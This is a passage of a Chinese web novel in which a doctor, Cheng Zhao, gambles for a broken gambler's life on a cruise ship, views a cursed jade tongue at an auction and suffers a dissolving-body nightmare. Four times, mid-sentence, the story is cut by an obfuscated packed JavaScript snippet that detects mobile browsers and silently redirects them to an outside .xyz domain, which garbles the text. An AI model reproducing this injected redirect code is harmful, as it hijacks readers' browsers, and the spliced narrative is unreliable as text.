程昭转头看向小丑:“你会拉手风琴?” 小丑不明所以地点点头。 程昭赞叹道:“艺术天赋果然是共通的啊,能做出这样作品的手,肯定也能弹出动听的乐曲吧?” 小丑刚想谦虚地摇头,就半推半就地被程昭撵到了手风琴旁边。 因为刚才的小插曲,舞台下乌泱泱的人群都用期待的眼神看着这个矮小滑稽的侏儒,他们都想听听这个“怪诞艺术家”是否真如程昭说得那样厉害。 他还从没得到过这么多人的关注,手刚放在琴键上时甚至微微颤抖,不过从第一个音符开始,他就找到了熟悉的手感。 悠扬的乐曲从翻飞的指间倾泻而出,不知道是程昭吹嘘还是他确实很有天赋,观众们都觉得这乐声宛如天籁。 见人们都沉浸在美妙的音乐中,程昭悄悄离开了舞台。 小丑看见她离开,本想向她道歉,但程昭摆了摆手,又指指台下,让他珍惜这些观众。 他感激地点头,投入到自己的演奏中去了。 程昭穿过人群,乐声渐渐远去,她来到了大厅的尽头,“登天岛”的门口。 递上船票,侍应生照例刷了卡,然后为她拉开大门。 一进去是个不大的门厅,屏风上画着古典人物油画,背景是云朵,在天上的人——寓意是神仙? 绕过屏风,整个房间的样子映入眼帘,里面几乎跟外面大厅一样大,装饰更加金碧辉煌,墙上水晶的壁灯折射出金灿灿的光芒。房间里摆满了椭圆形的桌子,上面堆叠着花花绿绿的筹码,每张桌子都坐满了神态各异的人,有人满脸通红,有人洋洋得意,也有人嚎啕大哭。 这里是纸醉金迷的赌场,人们来到这里,都是来做梦的。 程昭明白这里为什么叫“登天岛”了。 船客们走进这扇门,幻想一步登天的美梦。 程昭在一张张赌桌间走过,没有人看她,每个人狂热的眼神都盯着庄家手里的扑克牌或是骰盅。 这一点随机的概率牵动着他们的喜怒哀乐,其他一切都与他们无关,仿佛整个世界都只维系在那几个虚无的数字上。 什么家庭、什么生活、什么未来……统统都没有数字重要。 但数字又没那么重要。 小山似的筹码起起伏伏,有人赌红了眼,直接一把all in,充血的大脑根本无暇去计算回报。 令人觉得可悲又可笑。 程昭对这种东西是敬而远之的,她还记得急诊科有个前辈男医生,染上赌瘾,借口买房,向同事甚至老病人借了上百万,最后赌得血本无归,直接卷铺盖跑路了。 说来倒霉,他这么一跑急诊科人手不够,程昭被迫连上了好几个48小时班呢。 “怎么不坐下来玩一把?” 正在程昭以为所有人都沉浸在赌局中,无人注意到自己时,突然伸出一只手,拦住了自己。 拦在她面前的是一个穿黑西装戴墨镜的保镖。 但说话的人并不是他,而是旁边赌桌上坐在c位的人。 这个人明显跟其他赌徒都不一样。 他有些年纪了,几缕白发夹杂在茂密的发间,眉眼间也生出细纹,虽然视线落在庄家的牌上,但表情很平和,似乎输赢都不在意。 剪裁得体的名贵西装和袖口处露出的百达翡丽腕表都表明了他的身份非同一般,桌上虽然还有其他客人,但他两侧的座位都是空着的,似乎别人也都忌惮他的身份,自觉地跟他隔开。 程昭能肯定,他绝对也是个svip客人,说不定在svip中都是顶端的存在。 “我不想玩。” “不玩来这里干什么?”他说话时视线不变,就像在自言自语一样。 程昭有点不爽,说话时看着对方的眼睛是基本礼仪吧。 不过她很清楚,自己上船拥有svip的船票,纯属意外,这位客人才是真正的贵客。 “我来找人的。” “找谁?” “……说了你也不认识吧。” “你不说,怎么知道我不认识?” 程昭不明白,他怎么就盯上自己了。 “不好意思,我都不认识你,没有告诉你的义务吧。” “哈哈。”他笑了两声,转过头来直面程昭,“秦望津,你呢,小姑娘?” 程昭本想离开了,但能感觉到两个保镖站到了她的身后,堵住了她的去路。 她没把握一把扳手敲两个人,于是认命地坐到了贵客旁边的空位上。 他有些意外地挑眉:“我好像没让你坐下。” “那我走?”程昭说是这么说,屁股并没有离开座位的意思。 这老男人弯弯绕绕的,说到底不就是想让她坐下来玩一把嘛。 他一翻掌,有保镖为他递上剪好的雪茄,他吸了一口,慵懒道:“既然都坐下了,就玩一把再走吧。” 桌上其他客人都用好奇探究的眼神打量着程昭,他们也不知道秦总为什么要叫住这个一看就没钱的低级客人,也不明白程昭为何毫无惧意,大大咧咧地就坐下了。 他们可不敢坐在喜怒无常的秦总身边。 “玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805386|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以,我没钱啊,挂你账上。” “嘶——”其他人都倒吸一口冷气,紧张地看着中心的男人。 “我们不玩钱。”秦望津摩挲着雪茄深棕色的茄衣。 程昭一指桌上的筹码:“那这些是什么,金币巧克力?” 秦望津又笑起来,眼角的鱼尾纹皱在一起,他看了眼荷官。 荷官取出长柄推子,把筹码都拢到了桌下,有几个客人显然很不舍,但张了张嘴没敢出声。 “不玩钱,玩什么?” “玩命,怎么样?” 神经病啊!程昭在心里破口大骂。 她右手摸着左手腕,在别人看不到的角度,打开了工具箱的界面。 虽然拥有了1200多积分,但她没有去修理工具箱,反正箱子碎着,更方便直接拿。 她故意坐在秦望津旁边,就是想好了万一势头不对,用起工具来有距离优势。 见程昭不说话,秦望津点着桌子:“不玩你我的命,玩他的命,如何?” 他?谁? 荷官敲敲桌面,桌子从中间分开,打开了一个约一米见方的口子,程昭往下望,里面竟然有个人挤在桌下的暗格里。 这个格子方方正正,并不大,人像是被强行塞进去的,肘膝关节都以非生理的角度扭曲着,皮肤上有不少青紫淤青,他大张着嘴,表情非常痛苦,好在还看得出呼吸的频率。 不然真的很像杀人藏尸现场。 难道客人在桌面上赌得发狠忘情时,他就这样挤在桌下骨头折断碎裂吗? 这里这么多张的桌子,只有这张特殊,还是每张桌子里都有一个扭曲的人? “他刚才坐在那儿。”秦望津指了指对面一个空座位,“赌到一无所有,还想翻盘的人,就只能拿命来赌了。” “可惜,赌命也没赌赢。” 程昭:“他还活着。” 秦望津吸了一口雪茄,缓缓道:“当然还活着,死可不值钱。但是活着,可以成为别人的''钱''。” “他是s?” “确切地说,是被剥夺了船票的废物,但是如果有人要他,他可以被施舍一张s船票。” “s跟废物有什么区别吗?”成为一个人的奴隶,任人宰割,听起来也没好到哪里去吧。 秦望津看着她的眼睛:“就算第一次上船,这么无知,也不应该。” 好像是在骂她蠢,但程昭忍了:“请赐教。” “废物,跟垃圾一样,会被扔掉。但是奴隶,可以跟着主人下船。” “如果没人给他船票,他就会死?” “垃圾的结局有很多种。”秦望津意味深长道。 程昭不愿去细思他话中的深意:“所以,你想怎么赌?” “玩法你来定,赢了人归你,输了的话……”他低笑起来,“我对废物没什么兴趣,留作鱼饵或许能给船上添点新鲜海货。” 程昭皱眉:“你这意思是,我就得接收废物?” 她又不是垃圾回收站,她平生可最讨厌赌狗了。 “救人,难道不是医生的天职?” 程昭全身的汗毛瞬间立起,背后阵阵发寒。 26. 帕耳忒诺珀号05 程昭后悔来这里了,她现在只想逃跑。 脑海中飞快掠过工具箱里有的东西,她这个2级家用工具箱里,目前总共有四样东西:2级活动扳手、没使用过的螺丝刀套装、用来开锁的钥匙顶针、神秘的提取仪。 这儿没锁可开,秦望津这个体格也塞不进仪器口子,就算用扳手把秦望津脑壳给敲了,也无法从保镖中突围出去。 程昭只能装作没听到他话的样子,拢了拢头发:“玩法我定?” 对于她刻意忽略的表现,秦望津也当作刚才没说过什么暗示的话,大手一挥:“台子上有的,随你挑。” 程昭沉思了一会儿:“扑克吧。” “德州,还是21点?” “24点。” “哦?”秦望津来了点兴趣,“跟21点不一样?” “除去大小王,抽4张牌,运用四则运算,谁先算出24这个数字,谁就赢。”程昭跟他对视,眼睛里竟有一丝挑衅,“你敢跟我玩吗?” 秦望津放下雪茄,立刻有保镖接过,他双手交叉垫着下巴:“小朋友,我今年62了。” 程昭有点摸不透他的意思:“退休两年了?” “咳咳……”秦望津差点被口水呛到,缓了几秒后没好气道,“我还没老年痴呆,你不会觉得我已经连加减乘除都不会了吧?” “哦,那就好。”程昭双手枕在脑后,“我也不想占老年人便宜。” “老——”秦望津刚想发作,一口气提起来又咽了下去,而后抚掌大笑道,“行,那今天就看看我这个……老年人的脑子跟年轻人比起来怎么样。” 程昭倒不是想跟他拼数学,纯粹是没赌过,那些玩法都不会,只有24点小时候练数学的时候玩过。 桌面合上,桌下的人又被埋进了黑暗中。 荷官从打乱的扑克牌堆最上面取了四张牌,依次翻开放在桌面上。 从左到右依次是——K、8、9、0.5。 程昭揉了揉眼睛。 K、8、9、0.5。 程昭又揉了揉眼睛,揉得眼角都有些微刺痛了。 K、8、9、0.5。 谁能告诉她,这个0.5是什么鬼啊?!谁家扑克牌还带小数点的啊? 这牌能打? 秦望津:“13加8加9的0.5次方。” 程昭还处在震惊中,秦望津已经算好了。 13+8+9^0.5=24,确实没错。 她都忘了,这里是重叠域,扑克牌未必跟她原来世界是一样的啊。 程昭:“……你赢了。” 秦望津表情愉悦:“看来我思维还没退化,小朋友,再来一把?” “不来了不来了。”程昭连连摇头,可别下一把连“π”都出来了。 秦望津指尖有节律地敲着桌面:“那这个人,可就下不了船了。” 程昭:“随便吧,我自己都不一定能下船。” “真放弃了?” “挣扎也赢不了您啊。”程昭直接摆烂,反正她本来也没兴趣救赌狗。 “呵呵。”这话落在他耳里,倒像是恭维,他眼角的鱼尾纹更深了,左手轻抚上程昭的肩膀。 程昭身上一震,这老东西居然为老不尊?骚扰年轻小姑娘啊! 这种事她可忍不了,右手直接按在了手环上,准备随时掏出一把沉甸甸的扳手来。 大不了鱼死——诶,手下传来的震动是? 程昭低头一看。 手环微微发亮——【发现患者,任务进度1/5。】 她震惊地看向秦望津,他此刻已经收回了手。 “小朋友,你数学不好就算了,眼神也有点差啊。” 知道自己的处境,还能精准认出120医生……难道面前这位大佬,是个进重叠域不止一次的“老患者”? 那他身边的保镖们…… 程昭刚伸手想验证一下,就被秦望津打断了。 “他们都是船上的人。如果我是你,就好好看看桌下面那个。啧,眼神真不行,还不如我这个退休两年的……”秦望津嘲弄地摇头叹气。 “下面的是……” “虽然这种人没什么价值,不过毕竟是老乡,送你了。” 秦望津挥挥手,荷官按下机关,桌肚侧面弹开了一个小门,那个多处骨折的男人从桌下滚了出来,如一滩烂泥般躺在地上。 程昭蹲在他旁边,伸手去按他的颈动脉,还好,跳得虽然弱了点,节律还是很规则的,一时半会死不了。 手环上果然传来提醒,他也是患者之一。 没准还是跟秦望津一起进来的。 侍应生如鬼魅般突然出现在她身边。 “贵宾您好,是否要将您的附属船票绑定在他身上?” “一张票能绑定几个人?” “只能一位哦。” “好吧,那就绑定他。”程昭说是这么说,眼神还是掩饰不了满满的嫌弃。 这个域里总共5个患者,秦望津肯定不需要她照看,离域的时候直接叫上就行。 她绑定了一个,洛清也能绑定一个,希望剩下的两个患者都能洁身自好,不要变成垃圾。 听秦望津的意思,如果被划分成垃圾,就没法带下船了。 虽然不明白他为什么对这艘船的规则很了解的样子,不过程昭选择相信他。 “请问需要到美容室改造一下吗?不过需要额外花费哦。” 程昭脑海里闪过长着狗尾巴的男人和孔雀翅膀的少女,果然他们本来都是正常人,是经过改造才变成那样子的。 “不用了,我没钱。”当然就算有钱,她也没这变态爱好,“给他治治要钱吗?” “基本的医疗处理是包含在船票里的。” “行,给他骨折处理一下吧。”程昭看着侍应生又叫来一个同事,带着担架把男人扛了起来,“对了,不用治太好,打个石膏保持半死不活就行。” 对这种赌狗来说,要是活动自如,准会想方设法把自己再卖一回。 “好的,贵宾,会按照您的要求来治疗的。” “周谭!周谭!”一个青年男人不知从什么地方冲了出来,拽着担架,“你怎么样了?周谭!” “没死,送去治疗呢。”程昭拍拍他的肩膀,左手腕意料之中地震了震。 “是你救了他吗?谢谢,谢谢你,你真是大好人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805387|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”青年转过来紧紧握着她的手,语无伦次地鞠躬道谢。 程昭看着这张脸,竟有几分熟悉:“我们是不是在哪里见过?” “啊?”青年茫然地抬头看她。 程昭认出来了:“你是……好运来电梯里那个。” 青年也反应过来了:“对,对!我见过你!那时候我陪着周谭去好运来。他真的,戒不掉这个……好运来禁止他再买了,他说他知道有个地方,玩得很大,只要翻盘一次,这辈子都无忧了。我不放心他,就跟他一起上船了,但是我来了这里,总觉得心里毛毛的……” “你跟他关系很好嘛。” “我们……”青年脸一红,“我们是邻居,从小一块长大的,我没法不管他……但是我没用,管不住他,我只能陪着他……” 程昭叹了口气:“希望他经过这一遭,能重新做人吧。认识一下,我叫程昭,你呢?” “白世。” “你住几号房间?等他治疗好直接送你那边吧。”程昭正好把这烫手山芋转出去,“等下船的时候你带上他跟我一起走吧,我——” “我是戒赌中心的。”程昭觉得这里鱼龙混杂,过早暴露自己不是好事,胡诌了一个单位。 “哦~”白世看她的眼神有点怪,“我住604,你住几层?” “12。” “哇,你是vip啊。” “嗐,刚好赶上一批特价票。”程昭脸不红心不跳道。 “啧,累了。”秦盛津活动着脖子,从程昭身边走过,“回去歇一下,晚上的拍卖会要是错过就可惜了啊。” 他还是那副说话不看人的样子。 不过程昭明白,他是说给自己听的。 看来那个海底奇珍拍卖会必须要去一趟了。 告别白世,程昭回到1601,洛清还在睡。 她摇晃着洛清的肩膀,后者一副半梦半醒的样子,眼睛艰难地睁开了一条缝。 “赶紧夸我!一下午找到3个病人,牛不牛?” 洛清嘴里嘟囔了两句,眼皮又合上了。 “不至于吧。”程昭看了眼手环,算算分开的时间,洛清也睡了三四个小时了,怎么还在昏睡。 程昭坐在床边,俯身凑到她耳朵上:“你醒醒啊,晚上有个拍卖会,我总不能自己一个人去吧?” 洛清没反应,只有被子在规律地起伏。 “这夜班是上得有多累啊……”程昭无奈,看来她只能孤身去拍卖会了。 中午那“一本菜单”给她吃得肚子直到晚上都是鼓的,只在晚饭期间开放的户外餐厅也无福享受了,程昭在沙发上休息了一会儿,算算时间差不多了,起身准备去17层。 走之前她还是不死心地去叫洛清,她似乎睡得更沉了,没有一点回应,要不是呼吸还算均匀,程昭都怕她睡死过去。 电梯从16层上来,空无一人,只有她一人乘坐,她不禁怀疑svip连电梯都是专属的。 17层的布局跟其他楼层都不一样,从电梯出来要穿过一段长长的走廊。走廊非常昏暗,没有灯,只有尽头有亮光。 程昭向着光亮处一直走,不知走了多久,终于来到了艺廊的入口。 27. 帕耳忒诺珀号06 面前是一扇金色浮雕的大门,门框四周散发着柔和的白光,朦朦胧胧,有种置身天国的恍惚感。 程昭刚走到门前,大门就从里面自动打开了,刚适应了走廊那种昏暗的氛围,突如其来的七彩灯光把她刺得睁不开眼。 “欢迎光临拍卖会,请出示船票。”侍应生带着标志性的眯眯眼,微笑着站在门口,里面除了变幻的色彩以外,看不清具体的布置。 刷完船票后,侍应生掏出一本画册递给她:“拍卖会有着装要求,请选择您心仪的服饰。” 程昭原本还担心自己这身旧衣服跟拍卖会格格不入,但无奈上船是被赶鸭子上架,连件换洗衣服都没带,没想到连主办方这么贴心。 或许也是怕程昭之流,拉低了拍卖会的逼格,毕竟是四千年难得一见的海底珍宝,东西到底怎么样另说,至少排场要做足,一定要高端大气上档次的嘛。 本以为画册里哪怕不是古典宫廷风,也得是高奢时装这种档次,但程昭翻开一看,倒是摸不着头脑了。 画册看着厚实,其实里面只有两页铜版纸,各印着纯白与纯黑两款,样式并不是常见的礼服,而是类似袍子的廓形装束,服饰下面印着小字。 白色的袍子下面写着“聆听者”,黑色下面则是“注视者”。 一个是听,一个是看,不知道哪个比较好。 程昭犹豫了会儿,指定了黑袍。选择黑色的原因比较小众,白袍太像医生工作服了,穿上会有种加班的窒息感。 虽说明明就已经在加班中了,但她还是想在心理层面上挣扎一下。 侍应生点点头,为她收起画册,示意她继续往前走。 前面就是那团七彩的亮光了,程昭走进了才发现那不是无形的光,而是充斥着整个空间的彩色泡沫,她很怀疑这样走进去,会不会被泡沫堵塞七窍而憋死。 她的双脚明明早已停下,但棉花糖般的彩色泡沫却从四面八方朝她涌来,把她完全包裹。泡沫清新的香氛味萦绕在鼻腔中,程昭想,就算真憋死,应该也是一具香喷喷的尸体吧。 不能再想了,再想就要饿了。 好在想象中的窒息感并没有出现,泡沫轻盈似空气,甚至隐约有种被托举起来的漂浮感。 这种感觉没有持续太久,当程昭再一次脚踏实地时,泡沫如风吹般消散殆尽,而她身上已经套了一件从头到脚的黑袍,脸上戴着半副面具。 程昭摸了一下面具,手感细腻如肌肤,但没有弹性,还有点硬,她试着摘下,但面具紧紧吸在她脸上纹丝不动。 程昭祈祷这只是拍卖会的规矩,出去就好了,不然这样回房间,八成能把洛清吓出心脏病来。 泡沫散开后,礼堂的全景就落入了程昭眼中。平心而论,跟邮轮的庞大比起来,这个礼堂的尺寸有点小了,但很精致。整个礼堂呈正圆形,正前方是个半圆形的舞台,四周的墙面上挂了许多油画,乍一看多是以海洋为主题的,其中几副有人像的,主角似乎都是有一头海藻般浓密长发的美人。壁画之间都有镶嵌着明珠的壁灯,光芒从拳头大的莹润珠子内部透出,把明珠表面照射出彩色的细闪。 礼堂里已经有不少人在了,这里没有准备椅子,大家都三三两两地站着。程昭发现像她这样选了黑色的人寥寥无几,大多数人都穿着纯白的袍子,在珠光的映衬下,竟有几分圣洁。 程昭开始担心,自己是否做错了选择。 她来不及回去找侍应生换衣服,墙壁上的明珠突然熄灭,一道不知何处来的光打在舞台上。 拍卖会开始了。 主持人从后台走出来,跟台下的纯粹黑白不同,他穿了件碧绿的西装,打了一条亮眼的橙红领带,金灿灿的头发一看就抹了大量发胶,梳了个油光蹭亮的大背头,整个人宛如一颗圣诞树。 突如其来的色彩冲击把程昭都给看精神了。 “尊敬的各位贵宾,大家晚上好!”主持人声音洪亮,台下的人都把目光投向舞台中央。 主持人话音刚落,那里就升起了一个台子,上面摆放着一只雕刻精美的木匣子。 “现在,聚光灯将照亮一件穿越时空、来自海洋深处的奇迹!请聚焦零号拍品,‘沧海遗珠’——深海古玉琀!” 他做了个上抬的姿势,木匣就隔空打开了,露出里面深绿藏蓝的玉石。 程昭在人群外围,距离舞台有点远,只能看个大概形状。但主持人说的“穿越时空”这几个字引起了她的注意。不知道是形容这块玉的历史悠久,还是在暗示着什么。 “这件玉琀,沉睡在幽暗的海底已有千年,曾被泥沙覆盖,曾被洋流抚摸,历经了难以计数的潮汐涨落。它是由伟大的航海者,也是本艘邮轮的船长史蒂文海迩先生,亲手从大南洋的沉船遗址中经过精密打捞,才得以重见天日。它是海洋母亲珍藏的秘宝,一段被淹没历史的沉默见证者……”主持人如讲故事般娓娓道来。 “有点奇怪呢……”程昭旁边的人嘟囔了一嘴。 “有什么问题吗?”程昭这是第一次参加拍卖会,对玉石的知识也近乎为零。 说话的人也穿了一身黑袍,或许也是觉得跟前排的白袍子们格格不入,才退到后面跟程昭站在一块。 大家都戴着面具,谁也不知道对方是谁,于是说起话来也没什么顾忌。 “你知道玉琀是什么吧?” 程昭眼神清澈地摇了摇头。 “啧,那我来告诉你吧,玉琀又称‘含玉’,是葬玉的一种,指的是含于死者口内的玉器。” “啊,死人嘴里的东西,那买这种玉回去,怪瘆人的啊。”程昭顿时起了一身鸡皮疙瘩,不再看台上那块玉。 旁边人轻笑一声:“收藏家们倒不怕这个,要是主人地位高,或是身份特殊,那玉琀可值钱了。只不过……” “不过什么?” “不过他说,这是沉船里捞的,而非墓室里,这就有点奇怪了。要么这艘船运了一具棺材,那论价值几何,棺材主人是谁,可是重中之重,他倒绝口不提。要是这船上没有棺材,就只运了玉器,那就更奇怪了……” “怎么说?” “你看这个沁色,墨绿的底色中,渗透着海藻般的深蓝沁色,很少见的颜色,在海里的时间应该确实很长了,但形状制式却不似寻常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805388|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉琀,前薄后窄,并不均匀,表面也没什么花纹,甚至没有打磨光滑……特意海运这样一块玉,奇怪,真奇怪……” 程昭听着他的解释,忍下心头的不适,再去看那玉,似乎真如他所说,表面分布着些小颗粒,粗看注意不到,细看确实并不光滑。 “现在,对这件拍品感兴趣的贵宾,可以走上台来,近距离欣赏它的美丽!”主持人介绍完玉石,邀请贵宾们上台细看。 “走走走,快去看看!”前排的客人早就登上舞台,刚才介绍那人推着程昭往前走。 “你不刚才还说这玉古怪?” “就是因为怪,才要凑近了看啊,快快!他们都上去了!” 参加拍卖会的客人多是有头有脸的人物,虽然面具一戴,互不认识,但大家还是维持着基本的礼仪,没有人推搡,都自觉地排队上台欣赏玉石。 队伍前进得很慢,主持人限制一次只能一人察看,不可围观,且每个人只能看30秒。 程昭排在队伍中后端,角度问题,台子上的展品她看不到,但能看到每个见过玉琀的人从舞台另一侧下来。 几乎每个人,不论上去前是什么样,下来时走路姿态都有点奇怪,像是不自觉向前跌仆,好似前方有什么东西在指引,必须快步跟上的样子。 终于轮到程昭,上去前那个热心的玉石爱好者还在提醒她:“注意看那沁色,是海水、矿物质经过漫长岁月作用而成的,那可是最值钱的部分……” 程昭站在匣子前,她这时才发现自己一直都把它错认为木匣,实则是某种贝类拼接而成的,光看这工艺就价值不菲。 不过匣子她只敢匆匆瞥一眼,总共30秒钟,真正的重头戏还得是玉琀本身。 这块玉不过两指宽,四指长,形状却如那人所说,前后厚薄不一,表面粒粒微凸,不像是玉石制品,倒像是—— 程昭闭上眼睛,在脑海里搜寻类似的东西。 是什么呢? 总觉得是很熟悉的东西? 一定很常见,只不过材质不同…… 她猛然睁开眼睛,再次看向那块玉。 对了,是舌头! 不是什么含在死人嘴里的葬玉,这分明就是已经玉石化的舌头啊! 正当她这么想时,匣子里的玉石仿佛洞悉了她的思维,发生了些许变化,前段微微翘起,后半段收缩又伸长…… 这条已经化玉的舌头在动! 不对,不是单纯的动,是这条舌头在说话! 但她听不见,只能看到舌头灵活地收缩翻飞,甚至越动越快,只留下残影。 别人也是这样吗?还是说本该听到些什么呢? 白色、黑色…… 聆听者、注视者…… 程昭好像有点明白了,她自己选择成为黑色的注视者,于是听不见玉舌的低语,可是,她又会看见什么呢? 或者说,玉舌想让人听见什么,又想让人看见什么呢? 下一个等待的人,看见程昭神态僵直,目不转睛地盯着匣子。 在30秒的倒计时结束后,她骤然倒地,昏迷在了台上。 28. 帕耳忒诺珀号07 程昭醒了。 借着阳台投进来的朦胧月光,她看见邻床上随着呼吸起伏的躯体。 她愣了三秒,才反应过来,自己回到了客房。 她不是去拍卖会了吗,怎么回来客房的,为什么毫无印象? 对于拍卖会现场,她只有一点零星的记忆。 穿着白袍的人们围在一起,中间是一只打开的木匣。 木匣里面空无一物,但白色面具下的一张张嘴开开合合,似在虔诚地咏唱。 可这咏唱是无声的,在程昭眼中仿佛一出默剧。 她隐约记得这个木匣子里是有东西的,是什么呢? 来自海洋深处的珍宝……是黄金?还是夜明珠?亦或是玉石? 程昭在床上坐起来,神情痛苦。 光是回想拍卖会的场景,她的大脑皮层就像被数千根针扎进去一样,放射性的细密疼痛遍布了整个脑袋,她疼得呻吟出声,双手抱头在床上翻来覆去地挣扎。 最终一个翻身滚落下床,跌倒在地上,发出沉闷的声音。 近在咫尺的另一张床上,被子下的人没有任何反应,甚至呼吸的起伏越来越微弱。 程昭狼狈地坐在地上,逼迫自己放空大脑。 这样很有效果,脑子像吸了薄荷油一样,慢慢清醒起来。 跟着一起清晰的,还有一个有规律的“滴答”声。 这个声音频率不高,几秒出现一次,绝不是时钟的声音。 程昭竖起耳朵细听,房间里很安静,所以这个“滴答”声能听得很清楚,是卫生间传来的。 是水龙头没关好吗? 程昭扒着床沿,颤颤巍巍地站起来,摇晃着身形,一路扶着墙壁,走进了卫生间。 卫生间的瓷砖反射着声波,“滴答”声被成倍放大,她能确定,声源就在这里。 洗手池的龙头没有滴水,台盆里散落着几根长发。 淋浴区的花洒也关紧了,没有水滴落下来。 所以是哪里在滴水? “滴答——” “滴答——” “滴答——” 一滴黑色的液体落在她脚边,地面上已经积起了一片漆黑如墨的小水洼,只差一点点就要沾上她光裸的脚。 程昭抬头朝天花板上看去。 乍一看,头上的吊顶像是地面的镜像,也有一个碗大的黑色圆形。 “滴答——” 黑色液滴从顶上的黑圆中落下,在空中拉长,最后落进地上的圆里,成为黑色水洼的一部分。 程昭后退一步,她看清了,头顶上是一个漆黑的洞,洞的边缘在慢慢融化成水,再落到地上。 头顶的黑洞在慢慢变大,脚边的黑色水洼也在逐渐向外扩。 这豪华邮轮的质量未免也太差了,svip的房间都豆腐渣工程,下层的普通房间还能住人吗? “嗡——” 水滴声中又多了一个声音,像是什么昆虫的振翅声。 程昭心头闪过一丝不详的预感。 黑洞里落下一颗与众不同的“水珠”。 它并不遵循自由落体的规则,而是悬浮在空中,展开了一对窄扇形的黄褐色翅膀。 不好,这只是虫子! 还踏马会飞! 眼见虫子朝面门飞来,程昭下意识伸手去挥开。 视野像是开了慢速倍率一样,程昭能看清虫子的头上念珠状的触角,分成三截的体节,鼓鼓囊囊的白色腹部,还有宛如薄纱的狭长膜质翅。 虫子撞在左手食指上,指尖立刻传来火辣辣的疼痛。 作为一个南方人,她不会认错,这是白蚁! 程昭一个跨步来到洗手池前,打开水龙头,清凉的水冲洗着泛红的手指。 白蚁的蚁酸有强腐蚀性,必须尽快冲洗干净,最好再用碱性的东西中和。 这么高端的邮轮,怎么卫生间连个肥皂都没有? 程昭左手继续冲着水,右手打开镜柜寻找。 镜柜是空的,洗手池下面的抽屉也是空的。 手倒是不痛了,但感觉有点奇怪,这里的水效果这么好吗?还是因为她处理得够及时,蚁酸还没来得及腐蚀到皮下? 算了,水冲效果好的话,不中和也没关系吧。 程昭放弃了寻找,视线回到左手上—— “啊!” 流动的清澈水柱下,原本只有一点红肿的手指此刻皮肉尽削,露出森森白骨,其他被水碰到的地方也在慢慢消融,化作红黄的肉糜血水流淌下来。 洗手池里已是猩红一片。 她刚才忙着找肥皂,根本没去看手,此刻才反应过来,不是蚁酸被冲干净了,是皮肉神经都被腐蚀殆尽,左手麻木失去知觉。 程昭都不敢再去碰水龙头,把左手拢在怀里,跌跌撞撞跑出卫生间,来到房间门口,去按门边红色的呼叫铃。 明明伸出的是右手,可落到铃上的却是两根伶仃的白骨。 她眼睁睁看着骨节与塑料按钮接触的地方相融在一起,红色的表面如油般受重力拉长,变得黏黏糊糊。 就如同一场传播极快的瘟疫,呼叫铃整个融化,像块嚼过的口香糖粘在墙面上。墙壁也被传染,印着淡雅花纹的壁纸扭曲滑落,如大滴大滴的半透明胶水在墙角堆积,沿着地面向四周流淌。 有种超现实主义画作的荒诞感。 程昭跳着想要躲开,但手指黏得极牢,失去肌肉的包裹,根本使不上劲。她紧抓着左手腕,上面还留有一些皮肉,整个左手掌都只剩骨头了。 “胶水”渐渐蔓延至脚下,不敢想象如果碰到,是不是也会被溶解,跟这些花花绿绿融为一滩。 地面的瓷砖也被侵染,变成流动的泥沼,想把她拖拽下去。程昭咬着牙,右手使劲一拽,左前臂齐腕断裂,一只孤零零的手骨挂在墙面上,轻轻晃荡,骨节碰撞发出脆响。 好在她感觉不到任何痛楚。 鲜血从手腕处滴落,“胶水”如同觅食的虫群,被血腥味吸引,兴奋地涌上,将血液覆盖吞噬,然后融进了一抹血色在淡黄黏液中流动。 放眼四周,整个房间都像一个沸腾的熔炉,咕咚咕咚冒着泡,要把她融化在里面。 没有地方可以逃脱了,再这样下去就要死了! 怎么办?怎么办?! 对了,她还有工具箱! 她怎么忘记了呢! 程昭的视线落到空荡荡的左臂断口,那里鲜血还在汩汩冒出,眼里的光瞬间熄灭了。 手环丢了。 大概是左腕断的时候,滑脱下来,被地面吞没了。 她完了。 她要死在这里了…… 盯着地上翻滚着越来越浓的各种色彩,她的眼神渐渐失去焦距…… “程昭!” 谁? “程昭!程昭!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805389|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 